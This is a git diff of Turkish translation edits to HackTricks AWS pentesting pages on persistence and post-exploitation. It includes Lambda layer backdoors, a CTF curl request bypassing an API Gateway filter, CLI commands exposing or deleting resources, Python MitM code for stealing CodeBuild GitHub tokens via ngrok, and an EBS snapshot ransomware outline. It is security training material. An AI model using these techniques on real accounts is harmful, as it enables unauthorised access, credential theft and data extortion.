-- Kullanıcının mevcut bir katmanını arka kapı ile değiştirmek (hiçbir şey harici değil)
-- **Kendi hesabında** bir **katman oluşturmak**, **kurban hesabına katmanı kullanma erişimi vermek**, **katmanı** kurbanın Lambda'sında **yapılandırmak** ve **izinleri kaldırmak**.
-- **Lambda**, **katmanı kullanmaya** devam edebilecek ve **kurban**, **katman kodunu indirmek için** kolay bir yol bulamayacaktır (lambda içinde bir rev shell almanın dışında).
+- Kullanıcının mevcut bir katmanını arka kapı ile ele geçirmek (hiçbir şey harici değil)
+- **Kendi hesabında** bir **katman oluşturmak**, **kurban hesabına** katmanı kullanma erişimi vermek, **katmanı** kurbanın Lambda'sında **yapılandırmak** ve **izinleri kaldırmak**.
+- **Lambda**, **katmanı** kullanmaya devam edebilecek ve **kurban**, **katman kodunu indirmek için** kolay bir yol bulamayacaktır (lambda içinde bir rev shell elde etmek dışında).
- Kurban, **`aws lambda list-layers`** ile kullanılan harici katmanları **görmeyecek**.
```bash
# Upload backdoor layer
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md
index 396c8fd84..fe87ed88e 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md
@@ -20,14 +20,14 @@ Bir saldırgan instance'lara erişim sağlayabilir ve onlara arka kapı ekleyebi
- Örneğin geleneksel bir **rootkit** kullanarak
- Yeni bir **genel SSH anahtarı** ekleyerek
-- Bir arka kapı ile port knocking ile bir port açarak
+- Arka kapı ile port knocking kullanarak bir port açarak
### DNS sürekliliği
Eğer alan adları yapılandırılmışsa:
-- IP'nizi işaret eden bir alt alan adı oluşturun, böylece bir **alt alan adı ele geçirme** gerçekleştirebilirsiniz.
+- IP'nizi işaret eden bir alt alan adı oluşturun, böylece bir **alt alan adı ele geçirme** gerçekleştirmiş olursunuz.
- Alan adından **e-posta** göndermenizi sağlayan bir **SPF** kaydı oluşturun.
-- **Ana alan IP'sini kendi IP'nizle** yapılandırın ve kendi IP'nizden meşru olanlara bir **MitM** gerçekleştirin.
+- **Ana alan IP'sini kendi IP'nizle** yapılandırın ve kendi IP'nizden meşru olanlara karşı bir **MitM** gerçekleştirin.
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md
index 79a4f4665..5140f6e27 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md
@@ -16,9 +16,9 @@ Bu izne sahip bir saldırgan, **mevcut bir RDS örneğini herkese açık erişil
```bash
aws rds modify-db-instance --db-instance-identifier target-instance --publicly-accessible --apply-immediately
```
-### Veritabanı içinde bir yönetici kullanıcısı oluşturun
+### Veritabanında bir yönetici kullanıcısı oluşturun
-Bir saldırgan, **veritabanı içinde bir kullanıcı oluşturabilir**, böylece ana kullanıcı şifresi değiştirilse bile **veritabanına erişimini kaybetmez**.
+Bir saldırgan, **veritabanında bir kullanıcı oluşturabilir**, böylece ana kullanıcı şifresi değiştirilse bile **veritabanına erişimini kaybetmez**.
### Anlık görüntüyü herkese açık hale getirin
```bash
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md
index 8fde0947f..1c3d303c2 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md
@@ -16,7 +16,7 @@ Daha fazla bilgi için kontrol edin:
-Bu nedenle, bir saldırgan bu anahtarı meta verilerden alabilir ve KMS ile şifre çözme işlemi yaparak (`aws kms decrypt`) bilgileri şifrelemek için kullanılan anahtarı elde edebilir. Bu şekilde saldırgan şifreleme anahtarına sahip olacak ve eğer bu anahtar diğer dosyaları şifrelemek için yeniden kullanılırsa, onu kullanabilecektir.
+Bu nedenle, bir saldırgan bu anahtarı meta verilerden alabilir ve KMS ile şifre çözme işlemi yaparak bilgileri şifrelemek için kullanılan anahtarı elde edebilir. Bu şekilde saldırgan şifreleme anahtarına sahip olacak ve eğer bu anahtar diğer dosyaları şifrelemek için yeniden kullanılırsa, onu kullanabilecektir.
### S3 ACL'lerini Kullanma
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md
index 5ca2b2c21..d14c49b15 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md
@@ -12,7 +12,7 @@ Daha fazla bilgi için kontrol edin:
### Kaynak Politikaları Aracılığıyla
-Kaynak politikaları aracılığıyla **gizli bilgilere dış hesapların erişimini sağlamak** mümkündür. Daha fazla bilgi için [**Secrets Manager Privesc sayfasını**](../aws-privilege-escalation/aws-secrets-manager-privesc.md) kontrol edin. **Bir gizli bilgiye erişmek** için dış hesabın ayrıca **gizli bilgiyi şifreleyen KMS anahtarına erişimi olması gerektiğini** unutmayın.
+Kaynak politikaları aracılığıyla **gizli bilgilere dış hesaplara erişim vermek** mümkündür. Daha fazla bilgi için [**Secrets Manager Privesc sayfasını**](../aws-privilege-escalation/aws-secrets-manager-privesc.md) kontrol edin. **Bir gizli bilgiye erişmek** için, dış hesabın ayrıca **gizli bilgiyi şifreleyen KMS anahtarına erişimi olması gerektiğini** unutmayın.
### Secrets Rotate Lambda Aracılığıyla
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md
index 0d3b6b0c6..d3f89be91 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md
@@ -63,9 +63,9 @@ Aşağıdaki politika, AWS'deki herkesin **`MySNS.fifo`** adlı SNS konusuna oku
]
}
```
-### Aboneler Oluştur
+### Abone Oluşturma
-Tüm konulardan tüm mesajları dışarı aktarmaya devam etmek için saldırgan **tüm konular için aboneler oluşturabilir**.
+Tüm konulardan tüm mesajları dışa aktarmaya devam etmek için saldırgan **tüm konular için aboneler oluşturabilir**.
**Konu FIFO türündeyse**, yalnızca **SQS** protokolünü kullanan aboneler kullanılabilir.
```bash
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md
index 09a229b21..2ca32beaf 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md
@@ -13,7 +13,7 @@ Daha fazla bilgi için kontrol edin:
### Kaynak politikasını kullanma
SQS'de **kimlerin okuma ve yazma erişimine sahip olduğunu** IAM politikası ile belirtmeniz gerekir. Harici hesapları, rol ARN'lerini veya **hatta "\*"** belirtmek mümkündür.\
-Aşağıdaki politika, AWS'deki herkesin **MyTestQueue** adlı kuyruğun içindeki her şeye erişim sağlamasını verir:
+Aşağıdaki politika, AWS'deki herkesin **MyTestQueue** adlı kuyruğa erişimini sağlar:
```json
{
"Version": "2008-10-17",
@@ -32,6 +32,6 @@ Aşağıdaki politika, AWS'deki herkesin **MyTestQueue** adlı kuyruğun içinde
}
```
> [!NOTE]
-> Her seferinde kuyrukta yeni bir mesaj **eklendiğinde saldırganın hesabında bir Lambda tetikleyebilirsiniz** (bunu yeniden eklemeniz gerekecek) bir şekilde. Bunun için bu talimatları izleyin: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html)
+> Her yeni mesaj kuyruğa konulduğunda **saldırganın hesabındaki bir Lambda'yı tetikleyebilirsiniz** (bunu yeniden koymanız gerekecek) bir şekilde. Bunun için bu talimatları izleyin: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html)
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md
index 6367bcce2..7a7ff133e 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md
@@ -10,12 +10,12 @@ Daha fazla bilgi için kontrol edin:
../aws-services/aws-stepfunctions-enum.md
{{#endref}}
-### Step Function Arka Kapı Açma
+### Step Function Arka Kapı Oluşturma
-Bir step function'ı arka kapı açarak, her çalıştırıldığında kötü niyetli adımlarınızı çalıştıracak şekilde herhangi bir süreklilik numarasını gerçekleştirmesini sağlayın.
+Bir step function'ı arka kapı ile değiştirerek, her çalıştırıldığında kötü niyetli adımlarınızı çalıştıracak şekilde herhangi bir süreklilik numarasını gerçekleştirmesini sağlayın.
-### Arka Kapı Açma Takma Adları
+### Arka Kapı Oluşturma Takma Adları
-Eğer AWS hesabı step function'ları çağırmak için takma adlar kullanıyorsa, bir takma adı değiştirerek step function'ın yeni arka kapılı versiyonunu kullanmak mümkün olacaktır.
+Eğer AWS hesabı step function'ları çağırmak için takma adlar kullanıyorsa, step function'ın yeni arka kapılı versiyonunu kullanmak için bir takma adı değiştirmek mümkün olacaktır.
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md
index e128ae9ea..2670b52da 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md
@@ -28,7 +28,7 @@ aws sts get-session-token \
### Rol Zinciri Oynama
-[**Rol zincirleme, kabul edilen bir AWS özelliğidir**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), genellikle gizli sürekliliği sağlamak için kullanılır. Bu, **bir rolü üstlenme ve ardından başka bir rolü üstlenme** yeteneğini içerir ve potansiyel olarak başlangıç rolüne **döngüsel bir şekilde** geri dönebilir. Her seferinde bir rol üstlenildiğinde, kimlik bilgileri süresinin sona erme alanı yenilenir. Sonuç olarak, iki rol karşılıklı olarak birbirini üstlenmek üzere yapılandırıldığında, bu yapılandırma kimlik bilgilerini sürekli olarak yenileme imkanı sağlar.
+[**Rol zincirleme, kabul edilen bir AWS özelliğidir**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), genellikle gizli sürekliliği sağlamak için kullanılır. Bu, **bir rolü üstlenme ve ardından başka bir rolü üstlenme** yeteneğini içerir, bu da başlangıç rolüne **döngüsel bir şekilde** geri dönmeyi potansiyel olarak sağlar. Her seferinde bir rol üstlenildiğinde, kimlik bilgileri süresinin sona erme alanı yenilenir. Sonuç olarak, iki rol karşılıklı olarak birbirini üstlenmek üzere yapılandırıldığında, bu yapılandırma kimlik bilgilerini sürekli olarak yenileme imkanı sağlar.
Rol zincirini sürdürmek için bu [**aracı**](https://github.com/hotnops/AWSRoleJuggler/) kullanabilirsiniz:
```bash
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md
index f51c84f1e..6d795f208 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md
@@ -12,14 +12,14 @@ Daha fazla bilgi için kontrol edin:
### Açık Olmayan API'lere Erişim
-[https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) adresinde `com.amazonaws.us-east-1.execute-api` servisi ile bir uç nokta oluşturabilirsiniz, bu uç noktayı erişiminiz olan bir ağda (potansiyel olarak bir EC2 makinesi aracılığıyla) açığa çıkarın ve tüm bağlantılara izin veren bir güvenlik grubu atayın.\
+[https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) adresinde `com.amazonaws.us-east-1.execute-api` servisi ile bir uç nokta oluşturabilirsiniz, bu uç noktanın erişiminizin olduğu bir ağda (potansiyel olarak bir EC2 makinesi aracılığıyla) açığa çıkarın ve tüm bağlantılara izin veren bir güvenlik grubu atayın.\
Daha sonra, EC2 makinesinden uç noktaya erişebilecek ve daha önce açığa çıkarılmamış olan gateway API'yi çağırabileceksiniz.
### İstek Gövdesi Geçişini Atlatma
Bu teknik [**bu CTF yazısında**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp) bulundu.
-[AWS belgelerinde](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) `PassthroughBehavior` bölümünde belirtildiği gibi, varsayılan olarak, **`WHEN_NO_MATCH`** değeri, isteğin **Content-Type** başlığını kontrol ederken, isteği herhangi bir dönüşüm olmadan arka uca iletecektir.
+[**AWS belgelerinde**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) `PassthroughBehavior` bölümünde belirtildiği gibi, varsayılan olarak, **`WHEN_NO_MATCH`** değeri, isteğin **Content-Type** başlığını kontrol ederken, isteği herhangi bir dönüşüm olmadan arka uca iletecektir.
Bu nedenle, CTF'de API Gateway, `Content-Type: application/json` ile bir istek gönderildiğinde **bayrağın dışarı sızmasını engelleyen** bir entegrasyon şablonuna sahipti:
```yaml
@@ -28,15 +28,15 @@ application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyCondi
```
Ancak, **`Content-type: text/json`** ile bir istek göndermek bu filtreyi engelleyecektir.
-Son olarak, API Gateway yalnızca `Get` ve `Options` izin verdiğinden, gövdesinde sorgu bulunan bir POST isteği göndererek sınırsız bir dinamik DynamoDB sorgusu göndermek mümkündü ve `X-HTTP-Method-Override: GET` başlığını kullanarak:
+Son olarak, API Gateway yalnızca `Get` ve `Options` izin verdiğinden, gövdeye sorguyu koyarak ve `X-HTTP-Method-Override: GET` başlığını kullanarak sınırsız bir dinamik DynamoDB sorgusu göndermek mümkündü:
```bash
curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json' --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'
```
### Kullanım Planları DoS
-**Enumeration** bölümünde anahtarların **kullanım planını** nasıl **edineceğinizi** görebilirsiniz. Anahtarınız varsa ve bu anahtar **aylık X kullanım** ile **sınırlıysa**, **onu kullanabilir ve bir DoS oluşturabilirsiniz**.
+**Enumeration** bölümünde anahtarların **kullanım planını nasıl elde edeceğinizi** görebilirsiniz. Eğer anahtarınız varsa ve bu anahtar **aylık X kullanım ile sınırlıysa**, **onu kullanarak bir DoS oluşturabilirsiniz**.
-**API Anahtarı** sadece **`x-api-key`** adlı bir **HTTP başlığına** **eklenmelidir**.
+**API Anahtarı** sadece **`x-api-key`** adlı bir **HTTP başlığı** içine **eklenmelidir**.
### `apigateway:UpdateGatewayResponse`, `apigateway:CreateDeployment`
@@ -69,7 +69,7 @@ aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --pat
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
```
-**Potansiyel Etki**: Önbelleğe alınmış verilere yetkisiz erişim, API trafiğini kesintiye uğratma veya yakalama.
+**Potansiyel Etki**: Önbelleğe alınmış verilere yetkisiz erişim, API trafiğini kesintiye uğratma veya engelleme.
> [!NOTE]
> Test edilmesi gerekiyor
@@ -89,7 +89,7 @@ aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
```
-**Potansiyel Etki**: Hassas bilgilerin sızması, kötü niyetli betiklerin çalıştırılması veya API kaynaklarına yetkisiz erişim.
+**Potansiyel Etki**: Hassas bilgilerin sızdırılması, kötü niyetli betiklerin çalıştırılması veya API kaynaklarına yetkisiz erişim.
> [!NOTE]
> Test edilmesi gerekiyor
@@ -106,7 +106,7 @@ aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=repla
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
```
-**Potansiyel Etki**: API'nin güvenliğini zayıflatma, yetkisiz erişime veya hassas bilgilerin ifşasına neden olma potansiyeli.
+**Potansiyel Etki**: API'nin güvenliğini zayıflatma, yetkisiz erişime veya hassas bilgilerin ifşasına neden olma.
> [!NOTE]
> Test edilmesi gerekiyor
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md
index f6faedf8b..106764738 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md
@@ -17,7 +17,7 @@ Bu [**blog yazısı**](https://medium.com/@adan.alvarez/how-attackers-can-misuse
#### senaryo 1: CloudFront'un bir bucket'ın bazı HTML'lerine erişim sağlamak için yapılandırıldığı MitM
- **Kötü niyetli** **fonksiyonu** **oluşturun**.
-- Bunu CloudFront dağıtımı ile **ilişkilendirin**.
+- Bunu CloudFront dağıtımıyla **ilişkilendirin**.
- **Olay türünü "Viewer Response"** olarak ayarlayın.
Yanıta erişerek kullanıcıların çerezini çalabilir ve kötü niyetli bir JS enjekte edebilirsiniz.
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md
index 9173c5943..75de50ccc 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md
@@ -28,11 +28,11 @@ Bu nedenle, gizli yöneticiyi okuma erişiminiz varsa, bu gizli bilgileri alabil
**CodeBuild projesinin**, yapılandırılmış kaynak sağlayıcısına erişimi olmalıdır; bu, **IAM rolü** veya bir github/bitbucket **token veya OAuth erişimi** ile olabilir.
**CodeBuild** üzerinde **yükseltilmiş izinlere sahip bir saldırgan**, bu yapılandırılmış erişimi kötüye kullanarak yapılandırılmış deponun kodunu ve ayarlanan kimlik bilgilerine erişimi olan diğerlerini sızdırabilir.\
-Bunu yapmak için, bir saldırgan sadece **depo URL'sini, yapılandırma kimlik bilgilerine erişimi olan her depoya değiştirmesi** gerekir (aws web sitesi bunların hepsini sizin için listeleyecektir):
+Bunu yapmak için, bir saldırgan sadece **depo URL'sini, yapılandırma kimlik bilgilerinin erişimi olan her depoya değiştirmesi** gerekir (aws web sitesi bunların hepsini sizin için listeleyecektir):
-Ve **her depoyu dışarıya sızdırmak için Buildspec komutlarını değiştirmek**.
+Ve **her deponun dışa aktarımını sağlamak için Buildspec komutlarını değiştirmelidir**.
> [!WARNING]
> Ancak, bu **görev tekrarlayıcı ve zahmetlidir** ve eğer bir github tokenı **yazma izinleriyle yapılandırıldıysa**, bir saldırgan **bu izinleri (kötüye) kullanamayacaktır** çünkü tokena erişimi yoktur.\
@@ -40,7 +40,7 @@ Ve **her depoyu dışarıya sızdırmak için Buildspec komutlarını değiştir
### AWS CodeBuild'den Erişim Tokenlarını Sızdırma
-CodeBuild'de Github gibi platformlara verilen erişimi sızdırabilirsiniz. Dış platformlara herhangi bir erişim verilip verilmediğini kontrol edin:
+CodeBuild'de verilen erişimi Github gibi platformlara sızdırabilirsiniz. Dış platformlara herhangi bir erişim verilip verilmediğini kontrol edin:
```bash
aws codebuild list-source-credentials
```
@@ -54,7 +54,7 @@ Bir saldırgan, tüm bir CodeBuild projesini silebilir, bu da proje yapılandır
```bash
aws codebuild delete-project --name
```
-**Potansiyel Etki**: Silinen projeyi kullanan uygulamalar için proje yapılandırmasının kaybı ve hizmet kesintisi.
+**Olası Etki**: Silinen projeyi kullanan uygulamalar için proje yapılandırmasının kaybı ve hizmet kesintisi.
### `codebuild:TagResource` , `codebuild:UntagResource`
@@ -63,7 +63,7 @@ Bir saldırgan, CodeBuild kaynaklarından etiket ekleyebilir, değiştirebilir v
aws codebuild tag-resource --resource-arn --tags
aws codebuild untag-resource --resource-arn --tag-keys
```
-**Potansiyel Etki**: Maliyet tahsisi, kaynak takibi ve etiket tabanlı erişim kontrol politikalarının bozulması.
+**Olası Etki**: Maliyet tahsisi, kaynak takibi ve etiket tabanlı erişim kontrol politikalarının bozulması.
### `codebuild:DeleteSourceCredentials`
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md
index bdbc989c1..8568cc132 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md
@@ -18,7 +18,7 @@ Kullanabileceğiniz Docker görüntüsü [https://github.com/carlospolop/docker-
1. **Kendi Docker MitM görüntünüzü oluşturun ve yükleyin**
- Proxy IP adresinizi ayarlamak ve SSL sertifikanızı belirlemek için repo talimatlarını izleyin ve **docker görüntüsünü oluşturun**.
-- **`http_proxy`**'yu ayarlamayın, böylece metadata uç noktasına yapılan istekleri kesmeyin.
+- **`http_proxy`**'yi ayarlamayın, böylece metadata uç noktasına yapılan istekleri kesmeyin.
- Proxy'yi ana bilgisayarınıza ayarlamak için **`ngrok`** kullanabilirsiniz, örneğin `ngrok tcp 4444`.
- Docker görüntünüzü oluşturduktan sonra, **bunu halka açık bir repoya yükleyin** (Dockerhub, ECR...).
2. **Ortamı ayarlayın**
@@ -27,7 +27,7 @@ Kullanabileceğiniz Docker görüntüsü [https://github.com/carlospolop/docker-
-3. **Ana bilgisayarınızdaki MitM proxy'yi ayarlayın**
+3. **Ana bilgisayarınızda MitM proxy'yi ayarlayın**
- **Github repo**'sunda belirtildiği gibi, şunu kullanabilirsiniz:
```bash
@@ -38,7 +38,7 @@ mitmproxy --listen-port 4444 --allow-hosts "github.com"
4. **Build'i çalıştırın ve kimlik bilgilerini yakalayın**
-- **Authorization** başlığında token'ı görebilirsiniz:
+- Token'ı **Authorization** başlığında görebilirsiniz:
@@ -73,14 +73,14 @@ aws codebuild start-build --project-name my-project2
```
### Via insecureSSL
-**Codebuild** projelerinin, yalnızca API üzerinden değiştirilebilen, webde gizli bir ayarı olan **`insecureSsl`** vardır.\
+**Codebuild** projeleri, yalnızca API'den değiştirilebilen, webde gizli bir ayar olan **`insecureSsl`** adlı bir ayara sahiptir.\
Bunu etkinleştirmek, Codebuild'in platform tarafından sunulan **sertifikayı kontrol etmeden** depoya bağlanmasına olanak tanır.
- Öncelikle mevcut yapılandırmayı şu şekilde listelemeniz gerekir:
```bash
aws codebuild batch-get-projects --name
```
-- Ardından, toplanan bilgilerle proje ayarını **`insecureSsl`** değerini **`True`** olarak güncelleyebilirsiniz. Aşağıda bir projeyi güncellememe dair bir örnek var, sonunda **`insecureSsl=True`** olduğunu fark edin (bu, toplanan yapılandırmadan değiştirmeniz gereken tek şeydir).
+- Ardından, toplanan bilgilerle proje ayarını **`insecureSsl`** değerini **`True`** olarak güncelleyebilirsiniz. Aşağıda bir projeyi güncellememe dair bir örnek var, sonunda **`insecureSsl=True`** olduğunu unutmayın (bu, toplanan yapılandırmadan değiştirmeniz gereken tek şeydir).
- Ayrıca, tcp ngrok'unuza işaret eden **http_proxy** ve **https_proxy** ortam değişkenlerini de ekleyin:
```bash
aws codebuild update-project --name \
@@ -128,7 +128,7 @@ certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
```
-- Son olarak, **Projeyi oluştur** butonuna tıklayın, **kimlik bilgileri** **düz metin olarak** (base64) mitm portuna **gönderilecektir**:
+- Son olarak, **Projeyi oluştur** butonuna tıklayın, **kimlik bilgileri** **düz metin** (base64) olarak mitm portuna **gönderilecektir**:
@@ -136,7 +136,7 @@ mitm.run()
> [!TIP] > **Bu güvenlik açığı, AWS tarafından 2023 Şubat ayının 20'si haftasında bir noktada (sanırım Cuma günü) düzeltildi. Bu nedenle bir saldırgan bunu artık kötüye kullanamaz :)**
-**Yükseltilmiş izinlere sahip bir saldırgan, yapılandırılmış Github/Bitbucket token'ını sızdırabilir** veya izinler OAuth aracılığıyla yapılandırılmışsa, **kodu erişmek için kullanılan geçici OAuth token'ını** sızdırabilir.
+**Yükseltilmiş izinlere sahip bir saldırgan, yapılandırılmış Github/Bitbucket token'ını sızdırabilir** veya izinler OAuth aracılığıyla yapılandırılmışsa, **koda erişmek için kullanılan geçici OAuth token'ını** sızdırabilir.
- Bir saldırgan, kendi makinesine işaret eden **http_proxy** ve **https_proxy** ortam değişkenlerini CodeBuild projesine ekleyebilir (örneğin `http://5.tcp.eu.ngrok.io:14972`).
@@ -144,8 +144,8 @@ mitm.run()
-- Ardından, github reposunun URL'sini HTTPS yerine HTTP kullanacak şekilde değiştirin, örneğin: `http://github.com/carlospolop-forks/TestActions`
-- Son olarak, proxy değişkenleri (http_proxy ve https_proxy) tarafından işaret edilen portta [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) adresinden temel örneği çalıştırın.
+- Ardından, github repo'sunun URL'sini HTTPS yerine HTTP kullanacak şekilde değiştirin, örneğin: `http://github.com/carlospolop-forks/TestActions`
+- Ardından, proxy değişkenleri (http_proxy ve https_proxy) tarafından işaret edilen portta [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) adresinden temel örneği çalıştırın.
```python
from mitm import MITM, protocol, middleware, crypto
@@ -158,11 +158,11 @@ certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
```
-- Sonra, **Projeyi oluştur** seçeneğine tıklayın veya komut satırından oluşturmayı başlatın:
+- Sonra, **Projeyi oluştur** butonuna tıklayın veya komut satırından oluşturmayı başlatın:
```sh
aws codebuild start-build --project-name
```
-- Sonunda, **kimlik bilgileri** **açık metin** (base64) olarak mitm portuna **gönderilecektir**:
+- Sonunda, **kimlik bilgileri** **düz metin olarak** (base64) mitm portuna **gönderilecektir**:
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md
index b8cd1405f..bdc864e3c 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md
@@ -6,7 +6,7 @@
### `EC2:DescribeVolumes`, `DLM:CreateLifeCyclePolicy`
-Bir fidye yazılımı saldırısı, mümkün olduğunca çok EBS hacmini şifreleyerek ve ardından mevcut EC2 örneklerini, EBS hacimlerini ve anlık görüntüleri silerek gerçekleştirilebilir. Bu kötü niyetli etkinliği otomatikleştirmek için, Amazon DLM kullanılabilir, anlık görüntüleri başka bir AWS hesabından bir KMS anahtarı ile şifreleyerek ve şifrelenmiş anlık görüntüleri farklı bir hesaba aktararak. Alternatif olarak, şifreleme olmadan anlık görüntüleri yönettikleri bir hesaba aktarabilir ve ardından orada şifreleyebilirler. Mevcut EBS hacimlerini veya anlık görüntüleri doğrudan şifrelemek kolay olmasa da, yeni bir hacim veya anlık görüntü oluşturarak bunu yapmak mümkündür.
+Bir fidye yazılımı saldırısı, mümkün olduğunca çok EBS hacmini şifreleyerek ve ardından mevcut EC2 örneklerini, EBS hacimlerini ve anlık görüntüleri silerek gerçekleştirilebilir. Bu kötü niyetli etkinliği otomatikleştirmek için, başka bir AWS hesabından bir KMS anahtarı ile anlık görüntüleri şifreleyerek ve şifrelenmiş anlık görüntüleri farklı bir hesaba aktararak Amazon DLM kullanılabilir. Alternatif olarak, şifreleme olmadan anlık görüntüleri yönettikleri bir hesaba aktarabilir ve ardından orada şifreleyebilirler. Mevcut EBS hacimlerini veya anlık görüntüleri doğrudan şifrelemek kolay olmasa da, yeni bir hacim veya anlık görüntü oluşturarak bunu yapmak mümkündür.
Öncelikle, örnek ID'si, hacim ID'si, şifreleme durumu, ekleme durumu ve hacim türü gibi hacimlerle ilgili bilgileri toplamak için bir komut kullanılacaktır.
@@ -16,7 +16,7 @@ Bir fidye yazılımı saldırısı, mümkün olduğunca çok EBS hacmini şifrel
```bash
